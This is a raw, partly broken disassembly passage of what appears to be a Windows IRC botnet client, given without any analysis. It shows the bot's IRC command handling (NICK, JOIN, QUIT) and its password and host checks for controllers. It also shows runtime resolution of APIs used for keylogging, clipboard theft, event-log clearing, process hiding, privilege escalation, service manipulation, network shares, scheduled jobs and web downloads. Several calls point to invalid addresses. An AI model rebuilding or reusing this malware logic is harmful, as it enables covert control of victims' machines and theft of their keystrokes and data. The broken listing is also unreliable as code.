XREF: sub_401ACD+79D9j push offset unk_429740 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429718 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C pop ecx pop ecx push 1F4h call near ptr 2670ECEh nop push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call dword_4CB03C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEF4[eax] call near ptr 2690632h nop push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEF4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCE0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296EC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_4296C4 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_4296A0 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429674 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DE0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429658 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D44 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429634 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_429610 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295EC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2670ECEh loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295A0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42957C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA5C ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE5C push ebx inc esi call sub_41C0F4 push offset asc_429578 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294F8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294A4 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429484 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429464 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE54, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2670ECEh locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB050, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAFC4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAFA8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAEB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAF0C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB004, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB060, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAEC4, eax call esi cmp dword_4CB050, ebx mov dword_4CAEAC, eax jz short loc_409C10 cmp dword_4CAFC4, ebx jz short loc_409C10 cmp dword_4CAFA8, ebx jz short loc_409C10 cmp dword_4CAEB8, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp dword_4CAF0C, ebx jz short loc_409C10 cmp dword_4CB004, ebx jz short loc_409C10 cmp dword_4CB060, ebx jz short loc_409C10 cmp dword_4CAEC4, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB064, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFDC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 2680930h nop mov dword_4CB068, eax mov dword_4CB064, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB000, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAFB0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF44, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB054, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF74, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF94, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFF8, eax call esi cmp dword_4CB000, ebx mov dword_4CAEE4, eax jz short loc_409D00 cmp dword_4CAFB0, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CB054, ebx jz short loc_409D00 cmp dword_4CAF74, ebx jz short loc_409D00 cmp dword_4CAF94, ebx jz short loc_409D00 cmp dword_4CAFF8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB06C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF70, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF40, eax call esi cmp dword_4CAF70, ebx mov dword_4CAF28, eax jz short loc_409D67 cmp dword_4CAE78, ebx jz short loc_409D67 cmp dword_4CAF40, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2680930h mov dword_4CB070, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB06C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB014, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF58, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAFC8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAEA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAF08, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF80, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAF24, eax call esi cmp dword_4CB014, ebx mov dword_4CAF34, eax jz short loc_409E1A cmp dword_4CAF58, ebx jz short loc_409E1A cmp dword_4CAFC8, ebx jz short loc_409E1A cmp dword_4CAEA4, ebx jz short loc_409E1A cmp dword_4CAF08, ebx jz short loc_409E1A cmp dword_4CAF80, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB074, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF88, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF60, eax call esi cmp dword_4CAF88, ebx mov dword_4CB010, eax jz short loc_409E5F cmp dword_4CAF60, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB074, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF98, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEEC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEF0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF64, eax call esi cmp dword_4CAF98, ebx mov dword_4CAE8C, eax jz short loc_409F0D cmp dword_4CAE80, ebx jz short loc_409F0D cmp dword_4CAE88, ebx jz short loc_409F0D cmp dword_4CAEEC, ebx jz short loc_409F0D cmp dword_4CAEF0, ebx jz short loc_409F0D cmp dword_4CAE9C, ebx jz short loc_409F0D cmp dword_4CAF64, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB074, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE84, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2680930h mov dword_4CB078, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB074, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF90, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFE8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFF0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAFAC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAEC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFEC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE60, eax call esi cmp dword_4CAF90, ebx mov dword_4CAF00, eax jz short loc_40A016 cmp dword_4CAFE8, ebx jz short loc_40A016 cmp dword_4CAFF0, ebx jz short loc_40A016 cmp dword_4CAFAC, ebx jz short loc_40A016 cmp dword_4CAEC8, ebx jz short loc_40A016 cmp dword_4CAE74, ebx jz short loc_40A016 cmp dword_4CAFEC, ebx jz short loc_40A016 cmp dword_4CAE60, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 2680930h mov dword_4CB080, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB07C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAF14, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB048, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAEB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF50, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF38, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAEFC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB024, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB040, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF4C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB030, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFE4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAFA4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAFA0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAED4, eax call esi push offset aSend ; "send" push edi mov dword_4CAECC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFF4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB008, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAFBC, eax call esi mov dword_4CAF7C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFD0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF8C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAFCC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB038, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF84, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF48, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAFB8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB028, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF5C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEF8, eax call esi cmp dword_4CAF14, ebx mov dword_4CB03C, eax jz loc_40A2E7 cmp dword_4CB048, ebx jz loc_40A2E7 cmp dword_4CAEB4, ebx jz loc_40A2E7 cmp dword_4CAF50, ebx jz loc_40A2E7 cmp dword_4CAF38, ebx jz loc_40A2E7 cmp dword_4CAEFC, ebx jz loc_40A2E7 cmp dword_4CB024, ebx jz loc_40A2E7 cmp dword_4CB040, ebx jz loc_40A2E7 cmp dword_4CAF4C, ebx jz loc_40A2E7 cmp dword_4CB030, ebx jz loc_40A2E7 cmp dword_4CAFE4, ebx jz loc_40A2E7 cmp dword_4CAFA4, ebx jz loc_40A2E7 cmp dword_4CAFA0, ebx jz loc_40A2E7 cmp dword_4CAED4, ebx jz short loc_40A2E7 cmp dword_4CAFF4, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAFBC, ebx jz short loc_40A2E7 cmp dword_4CAF7C, ebx jz short loc_40A2E7 cmp dword_4CAFD0, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAFCC, ebx jz short loc_40A2E7 cmp dword_4CB038, ebx jz short loc_40A2E7 cmp dword_4CAF84, ebx jz short loc_40A2E7 cmp dword_4CAF48, ebx jz short loc_40A2E7 cmp dword_4CAFB8, ebx jz short loc_40A2E7 cmp dword_4CB028, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 2680930h mov dword_4CB088, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB084, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEE0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF6C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAF18, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF78, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF3C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAEA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAEA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAEB0, eax call esi cmp dword_4CAEE0, ebx mov ecx, dword_4CAF3C mov dword_4CAFD8, eax jz short loc_40A3D2 cmp dword_4CAE68, ebx jz short loc_40A3D2 cmp dword_4CAF6C, ebx jz short loc_40A3D2 cmp dword_4CAF18, ebx jz short loc_40A3D2 cmp dword_4CAF78, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAEA8, ebx jz short loc_40A3D2 cmp dword_4CAEA0, ebx jz short loc_40A3D2 cmp dword_4CAEB0, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB08C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF54, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call near ptr 2680930h nop mov dword_4CB090, eax mov dword_4CB08C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF54, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAF2C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB05C, eax call esi cmp dword_4CAF2C, ebx mov dword_4CAEBC, eax jz short loc_40A466 cmp dword_4CB05C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj call near ptr 2680930h nop mov dword_4CB098, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB094, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEE8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAF1C, eax call esi push offset aNetremotetod ; 